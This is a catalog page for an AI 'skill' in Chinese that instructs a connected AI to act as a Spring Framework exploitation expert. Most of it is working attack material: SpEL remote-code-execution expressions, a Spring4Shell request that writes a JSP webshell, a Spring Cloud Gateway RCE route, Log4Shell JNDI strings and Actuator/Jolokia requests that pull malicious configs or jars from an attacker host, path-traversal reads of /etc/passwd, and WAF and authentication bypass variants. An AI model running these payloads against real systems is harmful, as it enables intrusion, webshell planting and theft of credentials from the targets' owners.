Spring Framework漏洞深度利用技能
SkillSecuritySpring Framework漏洞深度利用专业技能:全年代CVE时间线(2016-2026)、Spring Boot Actuator深度利用与heapdump凭据链、SpEL注入全家族、Spring4Shell数据绑定RCE、Spring Security认证/授权绕过面、Spring内存马全谱系(Filter/Servlet/Interceptor/ControllerAdvice/WebFlux)、Spring Cloud组件漏洞、Spring AI/LLM集成框架攻击面、环境变量/配置注入、Log4Shell组合利用、AI大模型辅助攻防、WAF绕过与不出网利用
Available today. Use it from your connected AI after setup.
No other account needed.
Connect ahel once, and every AI you use reads what you have installed.
Then ask your AI: use the Spring Framework漏洞深度利用技能 skill
What this skill tells your AI
The instructions your AI receives, as published by langbyyi/cyberstrikeai-src in skills/spring-exploitation/SKILL.md and read by ahel’s review.
AI LOAD INSTRUCTION: Spring 生态深度利用专家打法。按已知前提:Spring MVC 基础与 SpEL 语法。聚焦指纹→Actuator 深度利用→SpEL 全家族→Spring4Shell→Cloud 组件→内存马→Spring AI 攻击面的完整链路决策。
概述
Spring Framework是Java Web生态占有率最高的框架,其生态链(Spring Boot/Spring MVC/Spring Cloud/Spring Security/Spring Data/Spring AI)覆盖绝大多数企业级Java应用。本技能v3.0.0站在资深攻防专家视角,系统化覆盖指纹识别→版本探测→Actuator信息泄露与深度利用→heapdump凭据挖掘→SpEL注入→数据绑定RCE→Spring Security绕过→内存马注入→Spring AI攻击面→配置注入→后渗透完整攻击链,并融合2025-2026年最新漏洞情报(Spring AI RCE、Spring Framework 2026年6月批量CVE等)。
核心概念
- 数据绑定(Data Binding):Spring MVC将HTTP参数递归绑定到POJO属性,是Spring4Shell(CVE-2022-22965)与CVE-2010-1622的根因
- SpEL(Spring Expression Language):
#{...}模板表达式,默认使用StandardEvaluationContext(可调用任意类静态方法),是Spring家族RCE的"万金油" - StandardEvaluationContext vs SimpleEvaluationContext:前者允许
T(Type)类型表达式+方法调用(危险),后者仅允许简单属性访问(安全)。大量CVE修复手段就是把前者替换为后者(如CVE-2022-22963、CVE-2026-22738) - Actuator:Spring Boot运维端点集合,未授权暴露=信息泄露甚至RCE入口
- 内存马:运行时向JVM内存注入恶意Servlet/Filter/Interceptor,无文件落地、重启失效、绕WAF
- 配置注入:通过Actuator env端点修改运行期配置,配合refresh触发重新加载
安全演进时间线矩阵(2016-2026)
| 阶段 | 时间 | 编号 | 组件 | 类型 |
|---|---|---|---|---|
| 早期SpEL | 2016 | CVE-2016-4977 | Security OAuth2 | SpEL注入 |
| 数据类SpEL | 2017-2018 | CVE-2017-8046 / CVE-2018-1270 / CVE-2018-1273 | Data REST / Messaging / Data Commons | SpEL注入 |
| 配置链 | 2019-2020 | CVE-2019-3799 / CVE-2020-5410 | Cloud Config | 路径遍历 |
| 日志风暴 | 2021 | CVE-2021-44228(Log4Shell) | Log4j2(Spring Boot默认日志) | JNDI注入 |
| Spring家族三连 | 2022 | CVE-2022-22947 / CVE-2022-22963 / CVE-2022-22965 | Gateway / Cloud Function / Core | SpEL RCE / SpEL RCE / 数据绑定RCE |
| 认证绕过潮 | 2022-2023 | CVE-2022-22978 / CVE-2022-31692 / CVE-2023-20860 / CVE-2023-34034 | Security / Framework | 绕过 / ReDoS |
| 收尾修补 | 2024 | CVE-2024-22243 / CVE-2024-22259 / CVE-2024-38819 | Framework | SSRF/开放重定向 / 绕过 |
| 注解绕过 | 2025 | CVE-2025-22223 / CVE-2025-22228 / CVE-2025-22235 / CVE-2025-41248 | Security | 方法注解绕过 / BCrypt截断 / /null匹配 / 泛型注解 |
| 静态资源链 | 2025 | CVE-2025-41242 / CVE-2025-41234 / CVE-2025-41254 | Framework | 路径遍历 / RFD / STOMP绕过 |
| Gateway再爆 | 2025 | CVE-2025-41243 | Cloud Gateway WebFlux | RCE |
| AI框架爆发 | 2026 | CVE-2026-22738 / CVE-2026-22729 / CVE-2026-22730 | Spring AI | SpEL RCE(CVSS 9.8) / JSONPath注入 / SQL注入 |
| AI内存泄露 | 2026 | CVE-2026-41705 / CVE-2026-41712 / CVE-2026-41713 | Spring AI | 表达式注入 / 跨用户泄露 / 提示注入 |
| Config高危 | 2026 | CVE-2026-40981 / CVE-2026-40982 / CVE-2026-41002 | Cloud Config | 目录遍历(CRITICAL)/ 秘密泄露 / TOCTOU |
| Framework批量 | 2026 | CVE-2026-41838 ~ CVE-2026-41855(18个) | Framework 7.0.8/6.2.19 | 含SpEL任意方法调用、multipart走私、SSRF等 |
| MCP SSRF | 2026 | CVE-2026-45609 | Spring AI MCP security | SSRF |
情报提示:2026年6月Broadcom发布Spring历史上最大规模安全更新(23年来首次、单批次18个CVE),CVE报告量2026年3-4月环比暴涨1700%,主要驱动是AI辅助漏洞扫描。Spring Boot 3.5与Spring AI 1.x于2026-06-30 EOL,遗留系统将长期无补丁。
一、Spring指纹识别与版本探测
1.1 Spring Boot指纹
特征路径探测:
/favicon.ico # Spring Boot默认图标(绿叶)
/error # Whitelabel Error Page(Spring Boot特征)
/actuator # Actuator端点(Spring Boot 2.x)
/actuator/health # 健康检查(默认开放)
/actuator/info # 应用信息(默认开放)
/swagger-ui.html # Swagger UI(SpringFox)
/doc.html # Knife4j(国产Swagger增强)
/v2/api-docs # Swagger JSON API
/v3/api-docs # OpenAPI 3.0
/trace # HTTP Trace(Spring Boot 1.x)
/mappings # 路由映射(Spring Boot 1.x)
/env # 环境变量(Spring Boot 1.x)
Response Header特征:
X-Application-Context: application # Spring Boot 1.x
Server: Apache Tomcat/9.0.x # 内嵌Tomcat版本
X-Content-Type-Options: nosniff # Spring Security默认
X-Frame-Options: DENY # Spring Security默认
X-XSS-Protection: 1; mode=block # Spring Security默认
错误页面特征:
Whitelabel Error Page # Spring Boot默认错误页
There was an unexpected error (type=..., status=...) # 标准错误格式
timestamp: ..., status: ..., error: ..., path: ... # JSON错误格式
Spring AI指纹(2026新增):
/v1/chat/completions # Spring AI ChatClient API
/v1/embeddings # 向量化接口
/api/v1/chat # 自定义ChatController
/actuator/metrics/ai.* # AI相关Actuator指标
1.2 Spring版本判断
| 特征 | Spring Boot 1.x | Spring Boot 2.x | Spring Boot 3.x | Spring Boot 4.x |
|---|---|---|---|---|
| Actuator前缀 | 无(/env, /health) | /actuator/* | /actuator/* | /actuator/* |
| 默认端口 | 8080 | 8080 | 8080 | 8080 |
| JDK要求 | 6/7/8 | 8+ | 17+ | 21+ |
| Jakarta EE | javax.* | javax.* | jakarta.* | jakarta.* |
| 版本基线 | EOL | EOL | 3.5已EOL(2026-06-30) | 当前主线 |
通过Actuator确定版本:
GET /actuator/info
→ build.version / build.artifact → 应用版本号
GET /actuator/env
→ spring.boot.version → Spring Boot版本
→ spring.core.version / Spring Core版本 → Spring Framework版本
通过Whitelabel错误页/异常堆栈确定版本段:
# 触发异常观察堆栈(部分应用不脱敏)
# org.springframework.boot → Boot 2.x;jakarta.* → Boot 3.x+
# Spring Security异常类:org.springframework.security.* → 存在Security
# Spring AI异常类:org.springframework.ai.* → 存在Spring AI(攻击面巨大)
1.3 目录扫描重点路径
# 常见Spring Boot路径
/api/** # REST API
/admin/** # 管理后台
/user/** # 用户模块
/auth/** # 认证模块
/system/** # 系统模块
/swagger-resources/** # Swagger资源
/webjars/** # 静态资源
# Actuator敏感端点(完整清单见第二章)
/actuator/env # 环境变量(可能含密码)
/actuator/heapdump # 堆转储(内存敏感数据)
/actuator/threaddump # 线程转储
/actuator/configprops # 配置属性
/actuator/beans # Bean列表
/actuator/mappings # 路由映射(所有Controller)
/actuator/scheduledtasks # 定时任务
/actuator/httptrace # HTTP请求历史
/actuator/jolokia # JMX over HTTP
/actuator/loggers # 日志配置(可动态修改)
/actuator/auditevents # 审计事件
/actuator/flyway # 数据库迁移
/actuator/liquibase # 数据库迁移
/actuator/prometheus # Prometheus指标
/actuator/gateway # Spring Cloud Gateway路由
/actuator/conditions # 自动配置条件
/actuator/caches # 缓存管理
/actuator/sessions # Session管理(可删除会话)
/actuator/shutdown # 关闭应用(POST)
/actuator/restart # 重启应用(POST)
二、Spring Boot Actuator深度利用
2.1 信息泄露利用(配置泄露)
环境变量泄露(/actuator/env):
# 可能泄露的信息
- 数据库连接字符串(含密码)
- Redis/MQ连接信息
- AK/SK(AWS/阿里云/OSS)
- JWT Secret Key
- 加密密钥(AES/DES Key)
- 第三方API Token
- spring.cloud.config.* 配置中心凭据
- spring.ai.* OpenAI/模型API Key(2026新增重点)
# POST修改环境变量(Spring Boot 2.x需启用)
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.password","value":"attacker_password"}
# 刷新配置
POST /actuator/refresh
env → 配置注入 → RCE 完整链(资深利用手法):
# 场景1:应用使用spring.main.sources或spring.cloud.bootstrap等可注入属性
POST /actuator/env
{"name":"spring.cloud.bootstrap.location","value":"http://attacker:8888/malicious.yml"}
POST /actuator/refresh
# 恶意yml中定义org.springframework.cloud.bootstrap.config.PropertySourceBootstrapConfiguration
# 或利用xstream/yml反序列化gadget触发RCE
# 场景2:修改日志配置为logback远程配置(CVE-2021-43138变体思路)
POST /actuator/env
{"name":"logging.config","value":"http://attacker:8888/logback.xml"}
POST /actuator/refresh
# logback.xml 中插入 <insertFromJNDI env="ldap://attacker:1389/x"/> 触发JNDI
# 场景3:覆盖management.endpoints.web.exposure.include扩大暴露面
POST /actuator/env
{"name":"management.endpoints.web.exposure.include","value":"*"}
POST /actuator/refresh
堆转储利用(/actuator/heapdump)→ 凭据 → RCE:
# 下载堆转储文件(可能非常大,几GB)
GET /actuator/heapdump
# 分析工具
# 1. Eclipse MAT(Memory Analyzer Tool)——首选
# 2. JProfiler / VisualVM
# OQL重点查询(Eclipse MAT Console):
# - 所有String中的口令
SELECT * FROM java.lang.String s WHERE s.toString() LIKE '%password%'
SELECT * FROM java.lang.String s WHERE s.toString() LIKE '%secret%'
SELECT * FROM java.lang.String s WHERE s.toString() LIKE '%jdbc:%'
SELECT * FROM java.lang.String s WHERE s.toString() LIKE '%AKIA%' # AWS AK
SELECT * FROM java.lang.String s WHERE s.toString() LIKE '%sk-%' # OpenAI Key
# - Session/Token
SELECT * FROM javax.servlet.http.HttpSession
# - 加密密钥对象
SELECT * FROM javax.crypto.SecretKey
# - 数据库连接池
SELECT * FROM com.zaxxer.hikari.HikariConfig
SELECT * FROM org.apache.commons.dbcp2.BasicDataSource
# - JDBC URL与账号密码
SELECT * FROM com.mysql.cj.jdbc.MysqlDataSource
# - 反序列化链关键对象(判断可用gadget)
SELECT * FROM org.springframework.beans.factory.support.DefaultListableBeanFactory
# heapdump → 云AK/SK → 云上RCE示例(国内实战高频路径):
# heapdump提取阿里云/腾讯云AK/SK → 调用云API(OSS/SLS/ECS)→
# 1) 读取OSS对象存储敏感文件
# 2) ECS实例操作(RunInstances/重置密码/创建后门镜像)
# 3) SLS日志读取(含更多凭据)
路由映射泄露(/actuator/mappings)→ 隐藏接口发现:
# 获取所有Controller路由和方法
GET /actuator/mappings
# 提取所有handler的RequestMapping patterns → 发现未公开接口/管理接口
# 重点寻找:/admin、/debug、/monitor、/console、/actuator自定义端点
# 结合 /actuator/beans 分析:发现DataSource、RedisTemplate、RestTemplate等
# 结合 /actuator/conditions 分析:确认Spring Security/MyBatis/AI组件是否生效
# 结合 /actuator/httptrace 分析:最近请求中的Cookie/Authorization/Referer
Jolokia(/actuator/jolokia):
# 列出所有MBean
GET /actuator/jolokia/list
# 通过Jolokia执行JNDI注入(Log4Shell组合利用,见2.3)
POST /actuator/jolokia
Content-Type: application/json
{
"mbean": "org.apache.logging.log4j2:type=...",
"operation": "setConfigurationLocation",
"arguments": ["http://attacker/malicious.xml"],
"type": "exec"
}
# 通过Jolokia修改logback配置触发reload(reloadByDuration)
# 读取任意文件(logback file属性)
POST /actuator/jolokia
{"mbean":"ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator","operation":"reloadByURL","arguments":["http://attacker/logback.xml"],"type":"exec"}
/actuator/loggers(动态改日志级别/触发日志攻击):
# 查看日志配置
GET /actuator/loggers
# 将攻击相关类日志调至DEBUG → 观察内部参数/异常堆栈(信息收集利器)
POST /actuator/loggers/org.springframework.web.servlet
{"configuredLevel":"TRACE"}
# 结合log4j:将特定logger调至DEBUG并注入${jndi:...}触发(组合攻击)
2.2 Actuator RCE利用链
jolokia → logback reload(CVE-2021-43138 变体):
1. 通过jolokia修改logback配置
2. 设置reloadByDuration触发配置重新加载
3. 加载包含恶意SAXParser/insertFromJNDI的XML配置
4. 触发XXE或JNDI → RCE
Spring Cloud Gateway Actuator RCE(CVE-2022-22947):
# 利用条件:Spring Cloud Gateway + Actuator gateway端点暴露
# (SpEL在RouteDefinition解析时执行)
# Step 1: 创建恶意路由
POST /actuator/gateway/routes/hacktest
Content-Type: application/json
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyFromByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com",
"order": 0
}
# Step 2: 刷新路由
POST /actuator/gateway/refresh
Content-Type: application/json
# Step 3: 触发执行
GET /actuator/gateway/routes/hacktest
# Step 4: 清理
DELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refresh
/actuator/sessions(会话接管):
# 列出所有Session → 提取管理员Session ID → 直接替换Cookie登录
GET /actuator/sessions
GET /actuator/sessions/{sessionId}
# 删除会话制造拒绝服务或强制重新登录
DELETE /actuator/sessions/{sessionId}
/actuator/shutdown(破坏性):
POST /actuator/shutdown
# 仅作最后手段,慎用
2.3 Log4Shell与Spring组合利用(CVE-2021-44228)
Spring Boot默认日志门面为Logback/Log4j2,Log4j2(2.0-2.14.1)存在JNDI注入:
# 触发点:一切日志会打印用户输入的字段
# 常用触发位置:
# 1. 请求参数(GET/POST参数被日志记录)
# 2. User-Agent / Referer / X-Forwarded-For
# 3. 异常消息(如报错时打印输入)
# 4. Spring Security登录用户名(认证失败日志)
GET /?x=${jndi:ldap://attacker:1389/exploit}
# 检测(无外连场景):
GET /?x=${jndi:dns://dnslog.xxx}
GET /?x=${${lower:j}ndi:${lower:l}dap://dnslog.xxx} # WAF绕过变形
# 与Actuator组合:
# 若目标同时暴露jolokia,可直接调用MBean setConfigurationLocation触发log4j配置加载
# 见2.1节 Jolokia段落
2.4 Actuator端点绕过
# 1. 路径变形
/actuator/env → /actuator;/env(分号截断)
/actuator/env → /actuator/env/(尾部斜杠)
/actuator/env → /actuator/env/.(尾部点号)
/actuator/env → /actuator/env%00(空字节)
/actuator/env → /actuator/env#fragment(Fragment)
# 2. 大小写绕过
/Actuator/Env
/ACTUATOR/ENV
/actuator/ENV
# 3. 双编码
/actuator/%65%6e%76 → /actuator/env
# 4. 通过Spring Cloud Gateway代理访问
# 如果Gateway路由配置不当,可通过Gateway代理访问Actuator
# 5. CVE-2025-22235 认证绕过(Spring Security + EndpointRequest.to())
# EndpointRequest.to() 在端点被禁用/未暴露时匹配 /null/**
# 若应用只保护了EndpointRequest引用的端点,/null/** 相关路径可能被放行
GET /null/...(测试是否存在无保护路径)
三、SpEL注入
3.1 SpEL表达式语法
基础语法:
#{T(java.lang.Runtime).getRuntime().exec('calc')}
#{T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','whoami'})}
#{new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()}
反射调用(绕过黑名单):
#{T(java.lang.Class).forName('java.lang.Runtime').getMethod('exec',T(java.lang.String)).invoke(T(java.lang.Class).forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc')}
无参数构造/编码绕过(WAF):
#{T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{99,97,108,99}))}
# Base64解码执行
#{new java.lang.String(new sun.misc.BASE64Decoder().decodeBuffer('Y2FsYw=='))}
# ProcessBuilder
#{new java.lang.ProcessBuilder(new String[]{'/bin/sh','-c','id'}).start()}
# 字符串拼接
#{T(java.l+ang.Ru+ntime).getRuntime().exec('id')}
#{T(java['lang']['Runtime']).getRuntime().exec('id')}
# Unicode编码
T(\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065)
# ScriptEngine(绕过类名检测)
#{T(javax.script.ScriptEngineManager).getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval("java.lang.Runtime.getRuntime().exec('id')")}
# ELProcessor
#{new javax.el.ELProcessor().eval("T(java.lang.Runtime).getRuntime().exec('id')")}
3.2 SpEL注入攻击面(全家族)
| 组件 | 注入点 | CVE |
|---|---|---|
| Spring Security OAuth2 | scope参数 | CVE-2016-4977 |
| Spring Data REST | PATCH请求 | CVE-2017-8046 |
| Spring Data Commons | param参数 | CVE-2018-1273 |
| Spring Messaging | selectorHeader | CVE-2018-1270 |
| Spring Cloud Function | routing-expression | CVE-2022-22963 |
| Spring Cloud Gateway | filter参数 | CVE-2022-22947 |
| Thymeleaf | 模板预处理 | CVE-2021-43466 |
| Spring MVC | 自定义参数绑定/自定义Editor | 配置不当 |
| Spring AI SimpleVectorStore | filter表达式key | CVE-2026-22738(CVSS 9.8) |
| Spring AI MilvusVectorStore | doDelete过滤器 | CVE-2026-41705 |
3.3 关键CVE利用
Spring Data Commons RCE(CVE-2018-1273):
POST /users HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")]=test
Spring Data REST PATCH RCE(CVE-2017-8046):
PATCH /api/users/1 HTTP/1.1
Content-Type: application/json-patch+json
[{"op":"replace","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String[]{'/bin/bash','-c','id'})/lastname","value":"vulhub"}]
Spring Cloud Function SpEL RCE(CVE-2022-22963):
POST /functionRouter HTTP/1.1
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
test
Spring Messaging RCE(CVE-2018-1270):
// WebSocket STOMP消息
CONNECT
accept-version:1.1,1.0
heart-beat:10000,10000
SUBSCRIBE
id:sub-0
destination:/topic/greetings
SEND
destination:/app/hello
content-type:application/json
{"name":"hacktest"}
// 利用selectorHeader注入SpEL
SUBSCRIBE
id:sub-1
destination:/topic/greetings
selector:new java.lang.ProcessBuilder(new String[]{"calc"}).start()
3.4 SpEL沙箱绕过
常见绕过技术:
// 1. 利用ClassLoader加载
#{T(java.lang.ClassLoader).getSystemClassLoader()}
// 2. 利用ScriptEngine
#{T(javax.script.ScriptEngineManager).getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("java.lang.Runtime.getRuntime().exec('calc')")}
// 3. 利用反射绕过黑名单
#{T(java.lang.Class).forName("java.l"+"ang.Ru"+"ntime")}
// 4. 利用自定义ClassLoader(出网加载jar)
#{new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://attacker/exploit.jar")}).loadClass("Evil").newInstance()}
// 5. 利用TemplatesImpl(不出网回显)
#{T(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)}
// 6. StandardEvaluationContext受限时的对象图绕过(通用思路)
#root.getClass().forName("java.lang.Runtime").getRuntime().exec("id")
#this.getClass().forName("java.lang.ProcessBuilder")...
3.5 SpEL相关2026新威胁(CVE-2026-41849 ~ 41852)
# CVE-2026-41850: SpEL算法性DoS(构造指数级计算表达式耗尽CPU)
# CVE-2026-41851: SpEL无界缓存DoS(大量唯一表达式撑爆缓存)
# CVE-2026-41852: SpEL任意方法调用(结合不可信输入可达RCE)
# → 若应用直接对用户输入执行 parseExpression,即使目标版本较新也建议用
# SimpleEvaluationContext 白名单验证最小化风险
四、Spring4Shell(CVE-2022-22965)与数据绑定攻击面
4.1 漏洞原理
利用条件:
- JDK >= 9
- Spring Framework < 5.3.18 / < 5.2.20
- 以WAR形式部署在Tomcat上(非Spring Boot内嵌Tomcat)
- 使用参数绑定(@ModelAttribute / 无注解POJO)
漏洞本质(CVE-2010-1622的JDK9+绕过):
JDK9+ 的Module系统引入 getClass().getModule()
→ class.module.classLoader.resources.context.parent.pipeline.first.pattern
→ 可修改Tomcat AccessLogValve的日志模板
→ 写入JSP WebShell到web目录
4.2 利用Payload
写WebShell到Tomcat:
POST /target HTTP/1.1
Content-Type: application/x-www-form-urlencoded
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
使用方式:
# 访问WebShell
GET /shell.jsp?pwd=j&cmd=id
# 分步利用(降低WAF检测概率)
# Step 1: 设置prefix
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
# Step 2: 设置suffix
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
# Step 3: 设置directory
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
# Step 4: 设置pattern(WebShell内容)
class.module.classLoader.resources.context.parent.pipeline.first.pattern=<payload>
# Step 5: 设置fileDateFormat(触发写入)
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
4.3 检测与绕过
无害检测Spring4Shell:
# 无害探测(修改AccessLog pattern为可识别字符串)
POST /target HTTP/1.1
Content-Type: application/x-www-form-urlencoded
class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring4shell_test
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.log
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=test_check
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
# 检查是否生成了 test_check.log 文件
WAF绕过:
# 1. 使用GET方式
GET /target?class.module.classLoader...
# 2. JSON方式(如果应用接受JSON)
Content-Type: application/json
{"class":{"module":{"classLoader":{"resources":{"context":{"parent":{"pipeline":{"first":{"pattern":"...","suffix":".jsp","directory":"webapps/ROOT","prefix":"shell","fileDateFormat":""}}}}}}}}}
# 3. 分步提交(每次只提交一个参数)
# 4. 参数名编码变形
class%2Emodule%2EclassLoader...
class%5Bmodule%5D.classLoader...
# 5. 使用Spring Boot Actuator POST修改env后再refresh
# 6. 参数名大小写混合
Class.Module.ClassLoader...(部分容器不敏感)
4.4 Spring4Shell与Struts2 S2-045的区别
| 维度 | Spring4Shell (CVE-2022-22965) | S2-045 |
|---|---|---|
| 框架 | Spring MVC | Struts2 |
| 注入点 | 参数绑定(class属性链) | Content-Type头 |
| 利用方式 | 修改Tomcat AccessLog | OGNL表达式 |
| 条件限制 | JDK9+ + Tomcat + WAR部署 | 无特殊条件 |
| 影响范围 | 较窄(条件苛刻) | 较广 |
4.5 数据绑定攻击面扩展
# 参数绑定的其他危险属性链(绕过class.module.classLoader关键字检测思路):
# 现代Tomcat利用链变体:
class.module.classLoader.resources.context.parent.pipeline.first.pattern
# 其他ClassLoader路径(Jetty/Undertow/WebLogic等容器不同):
class.module.classLoader.defaultLoader.repository...
# → 核心思路:只要是可写属性+可被绑定的POJO属性,就尝试访问
# 容器全局配置对象(Valve/Handler/Connector)
# CVE-2022-22950(SpEL拒绝服务):spring-expression < 5.3.16,构造复杂表达式DoS
# CVE-2023-20860:spring-expression < 6.0.9/5.3.27,ReDoS
五、Spring Cloud组件漏洞
5.1 Spring Cloud Function(CVE-2022-22963)
# 利用条件:Spring Cloud Function <= 3.2.2
# 方法1: 路由表达式注入
POST /functionRouter HTTP/1.1
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
test
# 方法2: 通过已有函数注入
POST / HTTP/1.1
spring.cloud.function.definition: T(java.lang.Runtime).getRuntime().exec("calc")
# 方法3: 回显利用
POST /functionRouter HTTP/1.1
spring.cloud.function.routing-expression: new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next()
test
2026新增DoS(CVE-2026-40989 / CVE-2026-40990):
# CVE-2026-40989: 路由层无限递归 → OOM(构造递归路由定义)
# CVE-2026-40990: Function Registry无界缓存 → OOM(无限注册函数)
# 影响 3.2.x / 4.2.x / 4.3.x / 5.0.x,无需认证即可触发
5.2 Spring Cloud Gateway(CVE-2022-22947 / CVE-2025-41243)
# CVE-2022-22947:详见2.2节Actuator利用链
# CVE-2025-41243:Spring Cloud Gateway WebFlux RCE(3.1.0 - 4.3)
# WebFlux路由/过滤器处理存在RCE,利用面较广
# 缓解:升级到 4.2.2+ / 4.1.7+ / 3.1.13+ 安全版本
5.3 Spring Cloud Config(2026批量高危)
# CVE-2026-40982(CRITICAL):spring-cloud-config-server 目录遍历
# 恶意URL可读取/服务任意文件:
GET /{application}/{profile}/..%252f..%252f..%252f..%252fetc/passwd
# CVE-2026-40981:Google Secrets Manager后端 → 跨项目秘密泄露
# CVE-2026-41002:git basedir TOCTOU竞态
# CVE-2026-41004:trace日志泄露敏感信息
# 历史漏洞(保留):
# CVE-2019-3799
GET /test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd
# CVE-2020-5410
GET /..%252F..%252F..%252F..%252F..%252Fetc%23%2Fpasswd
# 利用条件:Spring Cloud Config Server 暴露
5.4 Feign / RestTemplate / 服务调用链
# Feign客户端:接口URL可能可控 → SSRF
# @FeignClient(name="x", url="${external.url}") 若url来自配置且可被env注入修改 → 重定向到攻击者
# 结合Actuator env修改 external.url → 服务调用链劫持 → 敏感数据投递
# RestTemplate/RestClient:URL拼接漏洞 → SSRF
# UriComponentsBuilder解析外部URL(CVE-2024-22243):
# 校验host后实际请求可指向其他主机(用户信息/端口混淆绕过host校验)→ SSRF/开放重定向
# 测试载荷:http://allowed.com@attacker.com / http://allowed.com#@attacker.com
六、Spring Security认证/授权绕过面
6.1 路径匹配绕过
# Spring Security路径匹配 vs Servlet路径匹配差异
# Spring Security: /admin/** 匹配 /admin/user
# Servlet: /admin/* 仅匹配一层
# 绕过方法:
/admin/./user # 路径标准化差异
/admin/%2e/user # URL编码点号
/admin/user/ # 尾部斜杠
/admin//user # 双斜杠
/ADMIN/user # 大小写(部分容器不敏感)
/admin;/user # 分号截断(Tomcat特性)
/admin/%2f/user # 编码斜杠
/admin/%252e%252e/... # 双重编码
6.2 Spring Security OAuth2 漏洞
# CVE-2016-4977: OAuth2 approval端点SpEL注入
GET /oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec('calc')}&client_id=client&scope=openid
# CVE-2018-15732: redirect_uri未严格校验
# 导致授权码泄露到攻击者控制的域名
# CVE-2019-3778: redirect_uri开放重定向
6.3 认证/授权绕过(2022-2026全谱系)
# CVE-2022-22978: Spring Security RegexRequestMatcher
# 正则匹配在换行符时可能绕过
GET /admin%0a HTTP/1.1
GET /admin\n HTTP/1.1
# CVE-2022-31692: Spring Security forward/include
# forward和include请求可能绕过授权检查
# /path 使用forward跳转绕过Security FilterChain
# CVE-2023-20860: Spring Framework正则表达式DoS
# 使用特殊构造导致ReDoS(spring-expression < 6.0.9/5.3.27)
# CVE-2023-34034: WebFlux SecurityContext过滤器顺序问题
# CVE-2023-34040: WebFlux ServerHttpObservationFilter顺序问题
# → WebFlux应用security matcher顺序/过滤器注册顺序可被绕过
# CVE-2025-22223: 方法安全注解定位失败 → 授权绕过(6.4.0-6.4.3)
# 参数化类型/泛型方法上的@PreAuthorize可能不被识别
# CVE-2025-41248 (+CVE-2025-41249): @EnableMethodSecurity泛型注解解析绕过(CVSS 7.5)
# 无界泛型父类/接口上的 @PreAuthorize/@Secured 注解解析失败 → 授权失效
# 实战:找到继承泛型基类/接口的Service方法,直接未授权调用
# CVE-2025-22235: EndpointRequest.to() + 禁用端点 → 匹配 /null/** → 认证绕过
# 利用条件:应用中存在 /null 相关路径(详见2.4节)
Shortened here. Read the whole file on GitHub.
Signals
- GitHub stars
- 115
- Forks
- 4
- Last commit
- Sep 2026
Advanced
- Catalog kind
- skill
- Gateway key
spring-exploitation- Source
- github.com/langbyyi/cyberstrikeai-src